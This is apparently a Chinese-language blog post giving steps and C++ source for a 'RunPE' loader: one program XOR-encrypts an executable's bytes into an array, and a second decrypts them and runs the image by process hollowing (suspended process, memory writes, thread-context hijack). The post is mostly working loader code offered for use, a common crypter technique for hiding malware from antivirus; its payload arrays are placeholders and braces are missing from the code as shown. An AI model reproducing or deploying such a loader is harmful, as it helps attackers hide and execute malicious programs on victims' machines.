内存运行PE文件

Posted 2022-09-04 17bdw

内存中运行文件

拿exe并在HxD或010中打开 - cntrl+a copy as C
粘贴到encrypt.cpp
编译并运行encrypt.cpp - 创建shellcode.txt
从shellcode.txt复制char数组，并替换runPE.cpp中的rawData []
编译生成最终的runPE.exe
使用XOR密钥解密，加载到内存中执行。

encrypt.cpp

//encrypt shellcode prior to storing in stub
//store in shellcodeEncrypted.txt
//copy into runPE.cpp

#include <iostream>
#include <fstream>
#include <string>
using namespace std;

//Real PE shellcode dump here - fix length also
const int length = 2;
unsigned char rawData[length] = 
    0x00, 0xff
;


void crypt(unsigned char rawData[], int length)

    char key = 0x42;
    for (int i = 0; i < length; i++)
    
        rawData[i] = (char)(rawData[i] ^ key);
    


struct HexCharStruct

    unsigned char c;
    HexCharStruct(unsigned char _c) : c(_c)  
;

inline std::ostream& operator<<(std::ostream& o, const HexCharStruct& hs)

    return (o << std::hex << (int)hs.c);


inline HexCharStruct hex(unsigned char _c)

    return HexCharStruct(_c);


int main()

    ofstream output;
    output.open("shellcodeEncrypted.txt");
    crypt(rawData, length);
    output << "unsigned char rawData[" << to_string(length) << "]"         << " =  ";
    for (int i = 0; i < length; i++)
    
        output << "0x" << hex(rawData[i]) << ",";
        if (i % 20 == 0)
        
            output << endl;
        
    
    output << ";";

RunPE.cpp

#include <iostream> // Standard C++ library for console I/O
#include <string> // Standard C++ Library for string manip
#include <fstream> 
#include <Windows.h> // WinAPI Header
#include <TlHelp32.h> //WinAPI Process API


// use this if you want to read the executable from disk
HANDLE MapFileToMemory(LPCSTR filename)

    std::streampos size;
    std::fstream file(filename, std::ios::in | std::ios::binary | std::ios::ate);
    if (file.is_open())
    
        size = file.tellg();

        char* Memblock = new char[size]();

        file.seekg(0, std::ios::beg);
        file.read(Memblock, size);
        file.close();

        return Memblock;
    
    return 0;


int RunPortableExecutable(void* Image)

    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase; //Base address of the image
    void* pImageBase; // Pointer to the image base

    int count;
    char CurrentFilePath[1024];

    DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
    NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

    GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
    
        ZeroMemory(&PI, sizeof(PI)); // Null the memory
        ZeroMemory(&SI, sizeof(SI)); // Null the memory

        if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
            CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
                                                     //process in suspended state, for the new image.
        
            // Allocate memory for the context.
            CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
            CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

            if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
            
                // Read instructions
                ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);

                pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
                    NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

                // Write the image to the process
                WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);

                for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
                
                    SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));

                    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
                        LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
                
                WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
                    LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

                // Move address of entry point to the eax register
                CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
                ResumeThread(PI.hThread); //′Start the process/call main()

                return 0; // Operation was successful.
            
        
    


// enter valid bytes of a program here.
//Using 010 Hex editor or HxD - copy all as C hex works perfectly. A complete hexdump, no magic ;)
void decrypt(unsigned char rawData[], int length)

    char key = 0x42;
    for (int i = 0; i < length; i++)
    
        rawData[i] = (char)(rawData[i] ^ key);
    


//Place encrypted shellcode here - fix length also!
const int length = 2;
unsigned char rawData[length] = 
    0x00, 0x00
;


int main()

    decrypt(rawData, length);
    RunPortableExecutable(rawData); // run executable from the array
    getchar();